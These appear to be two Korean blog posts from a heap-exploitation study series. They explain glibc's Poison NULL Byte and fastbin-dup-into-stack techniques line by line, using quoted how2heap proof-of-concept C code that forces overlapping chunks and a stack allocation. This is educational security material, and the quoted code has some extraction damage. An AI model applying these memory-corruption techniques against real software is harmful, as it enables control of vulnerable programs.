1. 시작하기전에...

오늘부터는 how2heap 시리즈에 소개되어 있는 취약점들을 살펴보려고합니다. how2heap은 heap관련 취약점들의 원리를 소스코드와 

주석으로 설명해 놓은 프로젝트입니다.


[참조] https://github.com/shellphish/how2heap


전에 포스팅 했던 HITCON Training의 lab12와 lab14에서 다룬적이 있는 fastbin attack과 unsorted bin attack을 제외한 나머지를 다룰 예정이고,

이번 포스팅과 앞으로 소개 될 취약점들은 아래의 사이트를 참조하려고 합니다.


[참조] https://www.lazenca.net/display/TEC/Heap+Exploitation

[참조] https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/


2. Poison NULL Byte

Poison NULL Byte는 Off-by-one error에 기본을 둔 heap 관련 취약점입니다.

이 취약점을 간단히 설명하면 이미 할당된 heap을 새로 할당받는 heap공간에 포함시켜 할당받아 새로운 값으로 덮을 수 있는 취약점 입니다.


2.1 조건

 - 공격자에 의해 다음과 같은 Heap 영역을 할당, 해제 할 수 있어야 합니다.

- 0x200 이상의 heap 영역 : 공격 대상 heap영역

- Fast bin 이상의 Heap 영역(Heap size : 0x80이상) : 공격 대상 영역에 할당 Heap 영역


 - 공격자에 의해 Free chunk의 size영역에 1byte를 NULL로 변경 할 수 있어야 합니다.

 - 공격자에 의해 Free chunk의 size보다 작은 heap영역을 2개 할당 할 수 있어야합니다.

- Fast chunk는 사용할 수 없습니다.


[참조] https://www.lazenca.net/display/TEC/Poison+null+byte


2.2 Off-by-one

Poison NULL Byte에 사용되는 Off-by-one에 대해 간단히 알고 넘어가도록 하겠습니다.

Off-by-one error는 버퍼 크기의 경계 검사를 잘 못해서 한 바이트를 더 쓸 수 있게 되는 취약점입니다.


[참조]https://en.wikipedia.org/wiki/Off-by-one_error


예시로 다음의 코드를 봅시다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
 
int main(int argc,char *argv[])
{
    char buf[1024];
    
    if(strlen(argv[1]) > 1024) {
        printf("BOF is occured\n");
        return -1;
    }
    
    strcpy(buf, argv[1]);
    printf("buf = %s\n", buf);    
 
    return 0;
}



위 코드에서는 1024바이트 크기를 갖는 buf변수가 존재하고 있습니다. 프로그램에 인자를 넣고 실행하면 인자를 이 buf에 복사하고 출력해줍니다.

단, 인자의 길이가 1024보다 크다면 BOF is occured를 출력하지요. 


언뜻 보기에는 BOF가 발생하지 않을 것으로 보이지만 여기서 Off-by-one 이 발생합니다.

strlen()함수는 문자열 길이를 리턴해 줄 때 NULL바이트를 제외하여 리턴해줍니다. 따라서, 정확히 인자의 크기가 1024만큼의 문자열이 전달 되는 경우

BOF검사 분기를 넘어서 복사과정을 거치는데, 실제 buf에 복사되는 값의 길이는 1024 + NULL이 되어 1025바이트를 쓸 수 있게 됩니다.


이처럼 잘못된 크기 검사로 인해 한 바이트를 더 쓸 수 있게 되는 취약점이 Off-by-one 입니다.

해당 취약점과 관련해 자세하게 설명된 블로그가 있어 아래 참조 링크 드립니다.


[참조] http://s0ngsari.tistory.com/entry/Offbyone



2.3 how2heap - Poison NULL Byte

본격적으로 how2heap에 소개되어 있는 Poison NULL Byte의 코드를 가지고 살펴보도록 하겠습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
    uint8_t* a;
    uint8_t* b;
    uint8_t* c;
    uint8_t* b1; 
    uint8_t* b2; 
    uint8_t* d;
 
    fprintf(stderr, "We allocate 0x100 bytes for 'a'.\n");
    a = (uint8_t*malloc(0x100);
    fprintf(stderr, "a: %p\n", a); 
    int real_a_size = malloc_usable_size(a);
    fprintf(stderr, "Since we want to overflow 'a', we need to know the 'real' size of 'a' "
        "(it may be more than 0x100 because of rounding): %#x\n", real_a_size);
 
    /* chunk size attribute cannot have a least significant byte with a value of 0x00.
     * the least significant byte of this will be 0x10, because the size of the chunk includes
     * the amount requested plus some amount required for the metadata. */
    b = (uint8_t*malloc(0x200);
 
    fprintf(stderr, "b: %p\n", b); 
 
    c = (uint8_t*malloc(0x100);
    fprintf(stderr, "c: %p\n", c); 
 
    uint64_t* b_size_ptr = (uint64_t*)(b - 8); 
 



소스코드가 길어 부분 부분 잘라서 설명하겠습니다.

최초에 변수 a, b, c, b1, b2, d가 선언 되어 있는데 이 변수들은 Poison NULL Byte를 실행하기 위해 필요한 heap 변수들입니다.

각 변수들의 용도는 아래와 같습니다.


변수명 

용도 

Off-by-one을 사용할 수 있게 해줌 

Poison NULL Byte가 이루어지는 공간 

Poison NULL Byte로 인해 병합되는 heap 

Poison NULL Byte의 결과로 할당 받는 heap 

b1 

b해제 후 b공간에서 쪼개져 할당받는 heap 

b2 

b해제 후 b공간에서 쪼개져 할당받는 heap

Poison NULL Byte의 Victim


뒤에 진행되는 사항들을 보면서 헷갈릴 수 있는데 표에 소개된 내용을 생각하시면서 보면 조금 더 수월하게 보실 수 있을 것 같습니다.

위의 코드 내용을 정리해보자면 a에 0x100, b에 0x200, c에 0x100만큼 메모리를 할당 했습니다.


그리고 추가로 살펴봐야할 것은 11, 12라인인데요

malloc_usable_size()함수를 통해 메모리를 할당 받은 a에 실제로 사용할 수 있는 크기를 알아보고 있습니다. 라운딩때문에 0x100보다 클 것이라고 이야기 하면서요.



실제로 확인해 보니 a의 usable size는 0x108인 것을 알 수 있습니다. 


※ 위의 실행 결과로 보여드린 주소와는 다르지만 짧게 예시를 든 주소이니, 신경쓰시지 않아도 됩니다.


위 그림처럼 a는 코드에서 의도한 size보다 8바이트 더 큰 값을 사용할 수 있는 상태가 될 것입니다. 그리고 이 8바이트는 b의 prev_size영역이 됩니다.

여기서 한 바이트를 더 쓴다면 b의 chunk size에 영향을 줄 수 있는 상태가 되겠지요. 일단 여기까지만 생각하시고 다음으로 넘어가 보도록 하겠습니다.


  

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    uint64_t* b_size_ptr = (uint64_t*)(b - 8); 
 
 
    fprintf(stderr, "In newer versions of glibc we will need to have our updated size inside b itself to pass "
        "the check 'chunksize(P) != prev_size (next_chunk(P))'\n");
    // we set this location to 0x200 since 0x200 == (0x211 & 0xff00)
    // which is the value of b.size after its first byte has been overwritten with a NULL byte
    *(size_t*)(b+0x1f0= 0x200;
 
    // this technique works by overwriting the size metadata of a free chunk
    free(b);
    
    fprintf(stderr, "b.size: %#lx\n"*b_size_ptr);
    fprintf(stderr, "b.size is: (0x200 + 0x10) | prev_in_use\n");
    fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
    a[real_a_size] = 0// <--- THIS IS THE "EXPLOITED BUG"
    fprintf(stderr, "b.size: %#lx\n"*b_size_ptr);
 
    uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
    fprintf(stderr, "c.prev_size is %#lx\n",*c_prev_size_ptr);



여기서부터가 중요한데요, Poison NULL Byte를 위해 b의 chunk size를 0x200으로 만들어 주어야 합니다. 그런데 문제가 glibc에서

chunksize(P)가 prev_size(next_chunk(P))가 같은 지를 비교한다고 하네요.


b의 next_chunk의 주소는 어떻게 계산되는 지 살펴보겠습니다.


Poison NULL Byte공격을 고려하지 않았을 때

0x7120(address of b data area) - 0x10(header size) + 0x210(size of b) = 0x7320 (address of c)


c의 주소가 정확히 계산되어 나옵니다. 그리곤 c의 prev_size와 b의 chunk size필드를 비교해서 일치하는 지를 비교한다는 이야기입니다.


Poison NULL Byte를 위해 b의 chunk size를 0x200으로 만들어 주어야 한다면 거기에 대응하는 주소공간에 가상으로 prev_size인 것처럼 0x200

써주어야합니다.


0x7120(address of b data area) - 0x10(header size) + 0x200(size of fake b) = 0x7310 (address of fake chunk)

이런 이유로 b의 주소에 0x1f0을 더한 값인 0x7310에 0x200을 써주었습니다.


그 다음에 b를 해제했습니다. 그리고 Off-by-one 취약점을 이용해 a[real_size] => a[0x108]에 한 바이트를 0(NULL)로 써주었습니다.

그럼 b의 chunk size는 0x211 에서 한 바이트가 0으로 바뀌었으니, 0x200으로 바뀌게 됩니다.



c의 prev_size는 건드리지 않았으니, 0x211에서 INUSE flag만 0으로 바뀌어 0x210이 된 모습입니다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    fprintf(stderr, "We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",
        *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
    b1 = malloc(0x100);
 
    fprintf(stderr, "b1: %p\n",b1);
    fprintf(stderr, "Now we malloc 'b1'. It will be placed where 'b' was. "
        "At this point c.prev_size should have been updated, but it was not: %lx\n",*c_prev_size_ptr);
    fprintf(stderr, "Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
        "before c.prev_size: %lx\n",*(((uint64_t*)c)-4));
    fprintf(stderr, "We malloc 'b2', our 'victim' chunk.\n");
    // Typically b2 (the victim) will be a structure with valuable pointers that we want to control
 
    b2 = malloc(0x80);
    fprintf(stderr, "b2: %p\n",b2);
 
    memset(b2,'B',0x80);
    fprintf(stderr, "Current b2 content:\n%s\n",b2);



위에서 이야기한 chunksize(P)와 prev_size(next_chunk(P))가 같은 지를 검사하는 부분에서 에러 없이 통과를 하였습니다.

이후 새로 b1을 할당 0x100만큼 할당 받았습니다.


b1은 b의 시작부분에서부터 할당을 받았습니다. b1을 할당 받은 후 c의 prev_size를 찍어보면 b1에 해당하는 값으로 업데이트가 이루어져야 하지만 이루어지지 않습니다. 그 대신에 우리가 전에 만들었던 fake chunk의 prev_size가 업데이트 된 것을 알 수 있습니다.



이 상태에서 victim chunk인 b2를 0x80만큼 할당 합니다. 그리고 내용을 b로 채워주었습니다.



1
2
3
4
5
6
7
8
9
10
11
12
13
fprintf(stderr, "Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");
 
free(b1);
free(c);
 
fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2'.\n");
= malloc(0x300);
fprintf(stderr, "d: %p\n",d);
 
fprintf(stderr, "Now 'd' and 'b2' overlap.\n");
memset(d,'D',0x300);
 
fprintf(stderr, "New b2 content:\n%s\n",b2);



이제 사전 준비는 다 끝났습니다. b1, c의 차례로 free를 하면 b1과 c의 병합이 일어나게 됩니다. 이때, b1과 c1의 사이에 있는 b2의 존재는 잊어버리고 

병합이루어 집니다.


그 이유는 c의 해제가 이루어질 당시 c의 prev_size는 0x210이니, 이전의 메모리가 사용되고 있지 않은 중으로 OS가 판단합니다.(INUSE flag == 0)

때문에 이전의 chunk (prev chunk)와 병합이루어 지게 되죠.

 

c의 prev chunk의 주소를 알아내는 방법은 아래와 같습니다.


0x7320(address of c) - 0x210(prev_size) = 0x7110 


0x7110 부터 c에 해당하는 chunk까지 모두 병합이 이루어지게 되는 것입니다. (이 사이에 b2가 존재하죠)

이렇게 병합된 chunk는 0x300의 메모리 할당 요청에 반환됩니다. 이로써 b2의 내용을 수정할 수 있게 된 것입니다.




소개 된 예제에서는 단순히 변수의 값을 바꾸는 것만으로 소개가 되었는데, b2의 공간이 구조체이고 그 안에 함수포인터가 저장되어있다는 가정이라면

더 멋진 결과도 나올 수 있을 것이라고 생각합니다.


1. 시작하기전에...

이번 문제에 대한 포스팅은 내용이 길어질 것 같아서 두 개로 분할해서 포스팅하려고합니다.

먼저 이 글에서는 Allocated Chunk(할당된 Heap)의 형태와 Free Chunk(해제된 Heap)을 알아본 후 how2heap의 예제를 통해 Fastbin Attack의 개념을 적어보려고합니다.

이후 다음 포스팅에서 HITCON Taining lab12의 문제의 라이트업을 쓰도록 하겠습니다.


1-1. Allocated Chunk

메모리가 할당이 되면 아래와 같은 모습을 같는 chunk가 생성됩니다.

맨 위에서부터 차례로 설명을 해보겠습니다. 32bit에서는 4byte, 64bit에서는 8byte로 메모리 상 자신 보다 이전의 chunk의 크기를

저장하는 prev_size필드가 존재합니다. 테스트 해본 결과 앞에 있는 chunk가 없다면 0으로 set되는 것을 확인하였습니다.


그 다음으로 오는 필드는 자기 자신의 크기를 기록합니다. 유저가 사용하는 영역뿐만 아니라 그림에 표현된 chunk 전체의 크기이며,

마지막 3bit는 이전 청크 혹은 현재 청크의 상태를 표현하기 위한 flag로써 사용하는데 자세한 내용은 생략하겠습니다.


위 두 필드를 지나면 사용자가 할당받아 사용하는 공간이 위치합니다. 그리고 마지막으로는 binlist상 다음에 존재하는 chunk의 크기가 기록됩니다.


OS 사용주소 라고 적어놓은 뜻은 binlist에서 관리되는 chunk의 주소를 표현하고 싶어서 저렇게 적어 놓았고,

User 사용주소 라고 적은 것은 실제로 유저가 메모리를 받을 때(malloc, calloc 등을 통해) 리턴 받는 주소라 User사용 주소로썼습니다.


 

1-2. Free Chunk

메모리가 해제된 Chunk는 Allocated Chunk와 비슷하지만 다른 형태를 갖습니다.

상위 두 필드는 같은 용도로써 유지되지만 User사용 영역이였던 곳이 binlist에서 앞 뒤 chunk를 가르키는 포인터 값이 저장 됩니다.

fastbin 같은 경우에는 single linked list이기때문에, forward pointer to next chunk in list(fd)영역에만 값이 쓰여지고 back pointer to next chunk in list(bk)는 필드는 존재하지만 값이 세팅 되지 않습니다.


size of chunk의 하위 3bit flag에 대한 내용을 포함한 더 자세한 사항은 아래 링크 첨부해 드립니다.

[참조] https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/malloc_chunk.html (영문)

[참조] https://www.lazenca.net/pages/viewpage.action?pageId=1147929 (한글)


2. how2heap - fastbin_dup_into_stack


how2heap에 fastbin attack에 대한 내용을 코드로 설명을 한 것이 있어 이 것을 같이 보려고합니다.


아래는 fastbin_dup_into_stack.c 의 코드입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <stdlib.h>
 
int main()
{
    fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
           "returning a pointer to a controlled location (in this case, the stack).\n");
 
    unsigned long long stack_var;
 
    fprintf(stderr, "The address we want malloc() to return is %p.\n"8+(char *)&stack_var);
 
    fprintf(stderr, "Allocating 3 buffers.\n");
    int *= malloc(8);
    int *= malloc(8);
    int *= malloc(8);
 
    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);
 
    fprintf(stderr, "Freeing the first one...\n");
    free(a);
 
    fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);
 
    fprintf(stderr, "So, instead, we'll free %p.\n", b);
    free(b);
 
    fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);
 
    fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
        "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
    unsigned long long *= malloc(8);
 
    fprintf(stderr, "1st malloc(8): %p\n", d);
    fprintf(stderr, "2nd malloc(8): %p\n"malloc(8));
    fprintf(stderr, "Now the free list has [ %p ].\n", a);
    fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
        "so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
        "so that malloc will think there is a free chunk there and agree to\n"
        "return a pointer to it.\n", a);
    stack_var = 0x20;
 
    fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
    *= (unsigned long long) (((char*)&stack_var) - sizeof(d));
 
    fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n"malloc(8));
    fprintf(stderr, "4th malloc(8): %p\n"malloc(8));
}


 

fastbin attack의 목적은 메모리 할당을 받는 공간을 우리가 원하는 곳으로 컨트롤 하기 위함입니다. 예를 들어 stack공간이라던지, got 테이블이라던지

원하는 공간에 메모리를 할당 받아서 사용할 수 있다는 것입니다.


14 ~ 16라인에서 세 개의 메모리를 할당 받았습니다. (a, b, c) 그 후 메모리 해제를 하는데 순서는 a -> b -> a로 해제를 합니다.

그 이유는 해제된 메모리를 연달아서 해제 할 수 없기 때문인데, fastbin에서는 binlist에 top에 있는 주소를 검사하여 해당 주소는 해제 할 수 없게 되어있습니다. 그래서 a를 두 번 해제하기 위해 a -> b -> a의 순서로 해제 하는 것입니다. 왜 a를 두번 해제 해야하는 지는 아래에서 다시 설명하겠습니다.


지금까지 진행 된 상황에서 fastbin list의 모습을 그려보도록 하겠습니다.



a와 b는 현재 free된 상태이니 Free Chunk의 구조를 가지게 될 것입니다. 또한 a, b, c는 크기가 작아 fastbin에 속하니 fastbin list이기 때문에 single linked list에 속하게 됩니다.


맨 처음 해제 된 a는 FD에 b의 주소를 가르키고 b의 FD는 a를 가리키는 모습이 됩니다. 이 상태에서 36 라인에서 부터 메모리를 다시 할당 하기 시작합니다. 


처음 메모리를 요청 받으면 a의 주소를 리턴해줍니다. 다음에 메모리를 요청 받았을 때 리턴해 줄 주소는 a의 FD에 적혀있는 b의 주소입니다.

다음 메모리를 요청 받으면 b의 주소를 리턴해줍니다. 다음에 메모리를 요청 받았을 때 리턴해 줄 주소는 b의 FD에 적혀있는 a의 주소입니다.


현재는 Tail쪽에 있는 a의 FD에는 값이 없습니다. 하지만 처음 메모리를 요청 했을 때 a를 리턴 받기 때문에 우리가 핸들링 할 수 있습니다.

메모리를 할당 받은 후 a의 FD에 우리가 원하는 주소 값을 써준다면 우리가 원하는 곳의 메모리를 할당 받을 수 있는 것입니다.

FD에 우리가 원하는 주소 값을 써주는 것은 특별한 테크닉이 필요한 것은 아닙니다. 왜냐하면 해제된 메모리의 FD필드는 할당받은 메모리의

contents에 해당하기 때문에 그저 주소 값을 적어주면 됩니다.


여기서 한 가지 놓치지말아야 할 점은 해당 공간에 size of chunk를 맞춰 주어야 한다는 것입니다.

이 예제에서는 stack_var = 0x20 이라는 것으로 size를 맞춰 주고있습니다.


64bit환경에서 a,b,c는 8바이트를 할당 받아서 chunk의 크기는 0x20 = 32byte입니다.

size of previous chunk = 8byte

size of chunk = 8byte

contents = 8byte

next chunk size = 8byte 로 최소 할당 사이즈입니다. (32bit환경은 16byte)


우리가 사용하고 싶은 주소 - 16byte를 a에 써주고, 우리가 사용하고 싶은 주소 - 8byte에 할당 받는 사이즈를 맞춰주는 사전작업을해야

원하는 공간에 메모리를 할당 받을 수 있습니다.  

이러한 이유로 48라인에서 stack_var의 주소 - 8byte로 d의 값을 지정하고 스택공간에 메모리를 할당 받게 한 것입니다.




끗!


=====

2018.02.27 prev_size관련 수정


+ Recent posts